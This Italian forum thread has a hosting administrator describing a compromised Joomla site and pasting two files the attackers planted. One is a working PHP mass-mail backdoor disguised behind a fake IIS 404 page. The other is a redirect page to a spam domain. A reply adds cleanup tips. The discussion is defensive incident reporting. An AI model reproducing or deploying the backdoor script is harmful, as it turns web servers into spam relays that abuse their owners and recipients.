Back to top

Autore Topic: Exim con log enorme: mainfile.php e sanisk.htm  (Letto 1834 volte)

Offline DragontearS

  • Nuovo arrivato
  • *
  • Post: 1
    • Mostra profilo
Exim con log enorme: mainfile.php e sanisk.htm
« il: 04 Lug 2009, 16:55:10 »
salve a tutti.. è la prima volta che scrivo su questo forum e colgo l'occasione per salutare tutti.
Arrivo subito al problema:
forniamo servizio di hosting su server CentOS e in questi ultimi 2 giorni abbiamo avuto dei problemi con un utente che utilizza joomla (a cui noi abbiamo realizzato il sito ed era fino a questa mattina 1.5.11 ma poi lo abbiamo aggiornato alla 1.5.12). Il problema è il seguente:
il file mainlog di exim (pannello direct admin)cresce a dismisura di continuo tanto da riempire la partizione / del server..
il file è pieno di righe tipo
2009-07-04 16:35:08 1MN0QH-0000gY-8T SMTP error from remote mail server after RCPT TO:<XXX@rambler.ru>: host imx1.rambler.ru [81.19.66.235]: 450 4.7.1 <XXXX@rambler.ru>: Recipient address rejected: Sender address <mioutente@mioserver> blocked; too many errors from this sender
allora abbiamo controllato la casella di posta dell'utente (di cui peraltro non ha ancora la password perchè il sito lo abbiamo appena consegnato) e abbiamo trovato una marea di messaggi di errata consegna del messaggio...ma con una marea intendo che ne saranno arrivati 250 nel giro di mezzora... I messaggi riportavano un riferimento l'indirizzo ai due file da oggetto nella cartella includes di joomla dell'account del cliente. Ripeto che il cliente non ha ancora le password e quindi escludo categoricamente una possibile sua interferenza... andando nella cartella indicata trovo i due file che  sono i seguenti:

mainfile.php:

Codice: [Seleziona]
<?





function MUKUBXsU($type,$mime,$xctmp,$from,$to,$subj,$text,$fname) {

$fun=fopen($fname,"rb");

$un=strtoupper(uniqid(time()));

$head.="From: ".$from."\r\n";

if ($xctmp!='') {$head.="X-Mailer: $xctmp\n";}

if ($mime!='') {$head.="Mime-Version: 1.0\n";}

$head.="Content-Type: multipart/mixed;\r\n";

$head.="boundary=\"".$un."\"\r\n\r\n";

$zag= "--".$un."\r\nContent-Type: ".$type."; charset=windows-1251\r\n";

$zag.="Content-Transfer-Encoding: 8bit\r\n\r\n".$text."\r\n";

$zag.="--".$un."\r\n";

$zag.="Content-Type: text/html; name=\"".basename($fname)."\"\r\n";

$zag.="Content-transfer-encoding: base64\r\n";

$zag.="Content-Disposition: attachment; filename=\"".basename($fname)."\"\r\n\r\n";

$zag.=chunk_split(base64_encode(fread($fun,filesize($fname))))."\r\n\r\n";

$zag.="--".$un."--\r\n\r\n";

return @mail("$to", "$subj", $zag, $head);

}



function bWTyPOWx($type,$mime,$xctmp,$from,$to,$subj,$text) {

$head="From: $from\n";

if ($xctmp!='') {$head.="X-Mailer: $xctmp\n";}

if ($mime!='') {$head.="Mime-Version: 1.0\n";}

$head.= "Content-type: ".$type."; charset=windows-1251" . "\r\n";

return @mail($to,$subj,$text,$head);

}



if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['btype']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send'))

{



  $xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80);

  $title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80);

  $mess64 = base64_decode($_POST['message']);

  $mess =  substr(trim($mess64), 0, 10000000);

  $send_to = $_POST['emailsend'];   

  $from = $_POST['email'];

  $pmime = $_POST['mimevers'];

  $ptype = $_POST['btype'];

 

  if($_FILES['file']['name'] !=''){

    if (is_dir("tmp")) { } else { mkdir("tmp"); }

    if(is_uploaded_file($_FILES['file']['tmp_name']))   {

    if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) {

    if(MUKUBXsU($ptype,$pmime,$xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; }

    @unlink("tmp/".basename($_FILES['file']['name']));

    } else { echo "ERROR-UPLOAD"; }

    } else { echo "ERROR-MOVE"; }

  } else {

             if(bWTyPOWx($ptype,$pmime,$xclient,$from,$send_to,$title,$mess) !== FALSE) {

           echo "OK-MESS"; } else { echo "ERROR-MESS"; }

       }

}

else

{

if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else

{

echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<HTML><HEAD><TITLE>The page cannot be found</TITLE>

<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">

<STYLE type="text/css">

  BODY { font: 8pt/12pt verdana }

  H1 { font: 13pt/15pt verdana }

  H2 { font: 8pt/12pt verdana }

  A:link { color: red }

  A:visited { color: maroon }

</STYLE>

</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>



<h1>The page cannot be found</h1>

The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.

<hr>

<p>Please try the following:</p>

<ul>

<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>

<li>If you reached this page by clicking a link, contact

 the Web site administrator to alert them that the link is incorrectly formatted.

</li>

<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>

</ul>

<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>

<hr>

<p>Technical Information (for support personnel)</p>

<ul>

<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>

<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),

 and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>

</ul>



</TD></TR></TABLE></BODY></HTML>';}





 

?>




e sanisk.htm
Codice: [Seleziona]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <html><script language="JavaScript">top.location = 'http://jekabelei.smtp.ru/l1.htm';</script></html> <meta http-equiv="Refresh" content="1; URL=http://jekabelei.smtp.ru/l1.htm"> <center> <a href="http://jekabelei.smtp.ru/l1.htm">Õîðîøåå ïîðåâî!</a> </center>
ora.. cliccando su questultimo una volta scaricato mi sono trovato su un sito xxx...
allora ho eliminato i 2 file in questione... le email di errore continuano ad arrivare perchè si sono accumulate... basti pensare che alle 15 di oggi mi sono arrivate le ricevute di errore di ieri sera alle 23:40...

immagino che dato che le email si stanno avvicinando all'ora corrente abbiano finito di spedirsi in giro... Secondo me a causa di una falla nella sicurezza della 1.5.11 qualcuno è riuscito ad inserire quei 2 file nella cartella includes e li richiamava da fuori.. Secondo voi il problema si risolve con l'aggiornamento alla 1.5.12 o no?
Qualcuno ha avuto il mio stesso problema? io mi sono accorto di tutto per l'anomalo riempimento della partizione /.. qualcuno di voi ha lo stesso problema? sarà il caso di farlo presente agli sviluppatori?
« Ultima modifica: 04 Lug 2009, 16:59:58 da DragontearS »

Offline luigiwork

  • Nuovo arrivato
  • *
  • Post: 1
    • Mostra profilo
Re:Exim con log enorme: mainfile.php e sanisk.htm
« Risposta #1 il: 04 Ago 2009, 10:29:47 »
Ciao, ho avuto lo stesso problema su di un nostro server, due installazioni joomla in cui era installato anche virtuemart.

Per vedere la coda di postfix usa mailq e cancellala altrimenti il server proverà continuamente ad inviare le mail, i file di log gradiranno.

Noi abbiamo trovato tonnellate di spam verso domini russi, abbiamo individuato gli script usando
http://ip_server/server-status

Abbiamo aggiornato all'ultima versione di Joomla e teniamo sotto controllo il server ma non credo che il problema si sia risolto, la falla probabilmente c'è ancora e bisogna capire dove.

 



Web Design Bolzano Kreatif